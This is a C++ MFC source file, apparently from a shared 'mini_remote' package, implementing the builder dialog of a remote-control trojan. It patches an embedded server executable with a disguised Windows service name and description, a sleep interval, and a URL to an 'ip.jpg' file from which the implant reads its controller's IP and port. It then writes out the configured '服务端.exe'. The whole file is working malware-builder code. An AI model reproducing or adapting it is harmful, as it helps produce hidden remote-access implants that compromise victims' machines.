www.pudn.com > mini_remote.zip > MakesrvDlg.cpp


// MakesrvDlg.cpp : implementation file 
// 
 
#include "stdafx.h" 
#include "MainCtrl.h" 
#include "MakesrvDlg.h" 
#include "afxinet.h" 
 
struct MODIFY_DATA  
{ 
	unsigned int finder; 
	char ws_svcname[32]; 
	char ws_svcdisplay[128]; 
	char ws_svcdesc[256]; 
	char ws_up_url[256]; 
	int  ws_sleeptime; 
	int  ws_totest; 
} 
modify_data =  
{ 
	0xFFFFFF8D, 
	"Random", 
	"Ddadberdfeme", 
	"Sffffffffffffffffffption", 
	"http://ssssssssssssss/tenax/ip.jpg", 
	10000, 
	1, 
}; 
 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
 
///////////////////////////////////////////////////////////////////////////// 
// CMakesrvDlg dialog 
 
 
CMakesrvDlg::CMakesrvDlg(CWnd* pParent /*=NULL*/) 
	: CDialog(CMakesrvDlg::IDD, pParent) 
{ 
	//{{AFX_DATA_INIT(CMakesrvDlg) 
	m_url = _T("http://.../ip.jpg"); 
	m_sleeptime = 60; 
	m_svcdesc = _T("服务描述"); 
	m_svcdisplay = _T("服务显示"); 
	m_svcname = _T("svcname"); 
	//}}AFX_DATA_INIT 
} 
 
 
void CMakesrvDlg::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CMakesrvDlg) 
	DDX_Control(pDX, IDC_BUTTON_TEST, m_btn_1); 
	DDX_Control(pDX, IDOK, m_btn_ok); 
	DDX_Control(pDX, IDC_EDIT_SVCNAME, m_edit_6); 
	DDX_Control(pDX, IDC_EDIT_SVCDISPLAY, m_edit_5); 
	DDX_Control(pDX, IDC_EDIT_SVCDESC, m_edit_4); 
	DDX_Control(pDX, IDC_EDIT_SLEEPTIME, m_edit_3); 
	DDX_Control(pDX, IDC_EDIT_IPURL, m_edit_2); 
	DDX_Text(pDX, IDC_EDIT_IPURL, m_url); 
	DDX_Text(pDX, IDC_EDIT_SLEEPTIME, m_sleeptime); 
	DDX_Text(pDX, IDC_EDIT_SVCDESC, m_svcdesc); 
	DDX_Text(pDX, IDC_EDIT_SVCDISPLAY, m_svcdisplay); 
	DDX_Text(pDX, IDC_EDIT_SVCNAME, m_svcname); 
	//}}AFX_DATA_MAP 
} 
 
 
BEGIN_MESSAGE_MAP(CMakesrvDlg, CDialog) 
	//{{AFX_MSG_MAP(CMakesrvDlg) 
	ON_BN_CLICKED(IDC_BUTTON_TEST, OnButtonTest) 
	ON_BN_CLICKED(IDC_CHECK_TEXT, OnCheckText) 
	//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CMakesrvDlg message handlers 
 
void CMakesrvDlg::OnOK()  
{ 
	UpdateData(TRUE); 
	HKEY hKey; 
	DWORD dw; 
	RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw); 
	RegSetValueEx(hKey,"Service_Name",0L,REG_SZ,(const BYTE *)m_svcname.GetBuffer(0),m_svcname.GetLength()); 
	RegSetValueEx(hKey,"Service_DisplayName",0L,REG_SZ,(const BYTE *)m_svcdisplay.GetBuffer(0),m_svcdisplay.GetLength()); 
	RegSetValueEx(hKey,"Service_Description",0L,REG_SZ,(const BYTE *)m_svcdesc.GetBuffer(0),m_svcdesc.GetLength()); 
	DWORD Up_Time = m_sleeptime; 
	RegSetValueEx(hKey,"UP_Time",0L,REG_DWORD,(const BYTE *)&Up_Time,sizeof(DWORD)); 
 
	memset(&modify_data,0,sizeof(MODIFY_DATA)); 
	strcpy(modify_data.ws_svcname,m_svcname.GetBuffer(0)); 
	strcpy(modify_data.ws_svcdisplay,m_svcdisplay.GetBuffer(0)); 
	strcpy(modify_data.ws_svcdesc,m_svcdesc.GetBuffer(0)); 
 
	strcpy(modify_data.ws_up_url,m_url.GetBuffer(0)); 
	RegSetValueEx(hKey,"Ftp_url",0L,REG_SZ,(const BYTE *)m_url.GetBuffer(0),m_url.GetLength()); 
	modify_data.ws_sleeptime=m_sleeptime*1000; 
	RegCloseKey(hKey); 
 
	if (for_text) 
		modify_data.ws_totest = 1; 
 
	char Path[MAX_PATH]; 
	GetCurrentDirectory(MAX_PATH,Path); 
	strcat(Path,"\\server.dat"); 
	LoadSource(IDR_SERVER,"SERVER",Path); 
 
	CFile oldfile,newfile; 
	if (!oldfile.Open(Path,CFile::modeRead | CFile::typeBinary)) 
	{ 
		return; 
	} 
	BYTE *buf = (BYTE *)malloc(oldfile.GetLength()); 
	memset(buf,0,oldfile.GetLength()); 
	oldfile.Read(buf,oldfile.GetLength()); 
		 
	unsigned int finder; 
	unsigned int i, k; 
	finder = 0xFFFFFF8D; 
	for (i = 0; i < oldfile.GetLength() - sizeof(finder); i += sizeof(finder)) 
	{ 
			for (k = 0; k < sizeof(finder); k++) 
			{ 
				if (buf[i+k] != ((BYTE*)&finder)[k]) 
					break; 
			} 
			if (k == sizeof(finder)) 
			{ 
				memcpy(buf + i, &modify_data, sizeof(modify_data)); 
				break; 
			} 
		} 
		if (i >= oldfile.GetLength() - sizeof(finder)) 
		{ 
			free(buf); 
			oldfile.Close(); 
			newfile.Close(); 
			MessageBox("写入信息到文件中,不能定位文件而出错!","错误"); 
			return; 
		} 
		char DestExe[MAX_PATH]; 
		GetCurrentDirectory(MAX_PATH,DestExe); 
		strcat(DestExe,"\\服务端.exe"); 
		newfile.Open(DestExe,CFile::modeCreate | CFile::modeReadWrite | CFile::typeBinary); 
		newfile.Write(buf,oldfile.GetLength()); 
		free(buf); 
		oldfile.Close(); 
		newfile.Close(); 
		DeleteFile(Path); 
		MessageBox("OK","OK"); 
} 
 
BOOL CMakesrvDlg::LoadSource(UINT resoure_id , const char * type , const char * filepath) 
{ 
	HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type ); 
	if( hRsrc ) 
	{ 
		DWORD size = ::SizeofResource( NULL , hRsrc ); 
		HGLOBAL  handle = ::LoadResource( NULL , hRsrc );     
		if( handle ) 
		{ 
			BYTE *MemPtr = (BYTE *)LockResource( handle );  
			CFile file; 
			if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) ) 
			{ 
				file.Write( MemPtr , size ); 
				file.Close( ); 
			} 
			::UnlockResource( handle ); 
		} 
		::FreeResource( handle ); 
		return TRUE; 
	} 
	return FALSE; 
} 
 
BOOL CMakesrvDlg::OnInitDialog()  
{ 
	CDialog::OnInitDialog(); 
	m_btn_ok.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_ok.SetFontColor(RGB(100,50,280)); 
	m_btn_1.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4); 
	m_btn_1.SetFontColor(RGB(100,50,280)); 
 
	HKEY hKey; 
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS) 
	{ 
		DWORD dwType; 
		DWORD dwSize=sizeof(DWORD); 
		if (RegQueryValueEx(hKey,"UP_Time",NULL,&dwType,(BYTE *)&m_sleeptime,&dwSize) != ERROR_SUCCESS) 
		{ 
			RegCloseKey(hKey); 
			m_sleeptime=60; 
			UpdateData(FALSE); 
			return TRUE; 
		} 
		DWORD useipfile; 
		RegQueryValueEx(hKey,"Use_ip_file",NULL,&dwType,(BYTE *)&useipfile,&dwSize); 
 
		dwSize=1024; 
		char temp[1024]={0}; 
		RegQueryValueEx(hKey,"Service_Name",NULL,&dwType,(BYTE *)temp,&dwSize); 
		m_svcname = temp; 
		 
		dwSize=1024; 
		memset(temp,0,1024); 
		RegQueryValueEx(hKey,"Service_DisplayName",NULL,&dwType,(BYTE *)temp,&dwSize); 
		m_svcdisplay = temp; 
 
		dwSize=1024; 
		memset(temp,0,1024); 
		RegQueryValueEx(hKey,"Service_Description",NULL,&dwType,(BYTE *)temp,&dwSize); 
		m_svcdesc = temp; 
 
		dwSize=1024; 
		memset(temp,0,1024); 
		RegQueryValueEx(hKey,"Ftp_url",NULL,&dwType,(BYTE *)temp,&dwSize); 
		m_url = temp; 
		RegCloseKey(hKey); 
		UpdateData(FALSE); 
	} 
	return TRUE;  
} 
 
void CMakesrvDlg::OnButtonTest()  
{ 
	UpdateData(TRUE); 
	CInternetSession pSession; 
	CHttpFile *pIpFile=NULL; 
			 
	try 
	{ 
		pIpFile=(CHttpFile*)pSession.OpenURL(m_url.GetBuffer(0)); 
	} 
	catch(...)  
	{ 
		pIpFile=NULL; 
		delete pSession; 
	} 
		if(pIpFile) 
		{ 
		CString str; 
		if(pIpFile->ReadString(str)) 
		{ 
			char m_hHost[300]; 
			CString strIP,strPort; 
			strIP=str.Left(str.Find(":")); 
			strPort=str.Right(str.GetLength()-str.Find(":")-1); 
			memset(m_hHost,0,300); 
			int m_hPort = atoi(strPort.GetBuffer(0)); 
			wsprintf(m_hHost,"IP:\"%s\"\r\n端口:\"%d\"",strIP.GetBuffer(0),m_hPort); 
			MessageBox(m_hHost); 
		} 
		pIpFile->Close(); 
		delete pIpFile; 
		delete pSession;	 
	} 
} 
 
void CMakesrvDlg::OnCheckText()  
{ 
	for_text = TRUE; 
}